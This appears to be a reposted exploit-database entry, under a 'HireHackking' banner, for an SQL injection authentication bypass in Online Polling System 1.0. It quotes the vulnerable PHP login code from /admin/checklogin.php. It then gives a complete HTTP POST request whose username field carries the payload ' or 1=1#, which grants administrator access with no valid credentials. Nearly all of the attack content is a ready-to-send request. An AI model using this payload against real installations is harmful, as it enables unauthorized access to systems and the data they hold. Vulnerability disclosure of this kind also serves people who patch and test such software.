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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Online Polling System 1.0 - Authentication Bypass
# Date: 2020-07-20
# Author: AppleBois
# Version: NULL
# Software Link: https://www.sourcecodester.com/php/14330/online-polling-system.html
#
# Administration Control Panel || Authentication Bypass
# Unthenticated User perform SQL Injection bypass login mechanism on /admin/checklogin.php
#
######################################################################################
#Vulnerable Code
#
#$myusername=$_POST['myusername'];
#$mypassword=$_POST['mypassword'];
#$encrypted_mypassword=md5($mypassword);
#
#$result=mysqli_query($conn, "SELECT * FROM `tbadministrators` WHERE email='$myusername' and password='$encrypted_mypassword'");
#
#$count=mysqli_num_rows($result);
#
#if($count==1){
#
#$user = mysqli_fetch_assoc($result);
#$_SESSION['member_id'] = $user['member_id'];
#header("location:student.php");
#}
#
######################################################################################


POST /admin/checklogin.php HTTP/1.1
Host: 10.10.10.2:81
Content-Length: 53
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.10.10.2:81
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.10.10.2:81/online/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: ASP.NET_SessionId=vbrb31kd3s5hmz3uobg0smck; UserSettings=language=1; dnn_IsMobile=False; .ASPXANONYMOUS=VA9hDh-1Ldg0FPbBfd9HAWSTqKjasYcZMlHQnpPaoR5WQipK7Q_kKnAlAqfWp0WgtO8HXH2_Tsrhfh-Z7137cng_MeEp3aiMPswVEPZc-UOdZQTp0; __RequestVerificationToken_L0ROTg2=Js5PUWl0BiY3kJLdEPU2oEna_UsEFTrNQiGY986uBwWdRyVDxr2ItTPSUBd07QX6rRyfXQ2; USERNAME_CHANGED=; language=en-US; authentication=DNN; .DOTNETNUKE=CC547735526446773F995D833FACDA646745AE4409516EBF345F1AC725F7D7CE7BFC420BF5EFE9FE2AEC92B04C89CCD2E64C34BA4E195D7D8D6EED7892574DB3FF02599F; ICMSSESSION=mgnp26oubn7hfc590q6j5c9o70; PHPSESSID=1gpgmmltf6uk3ju3aakgd0s8m5
Connection: close

myusername=' or 1=1#&mypassword=ad&Submit=Login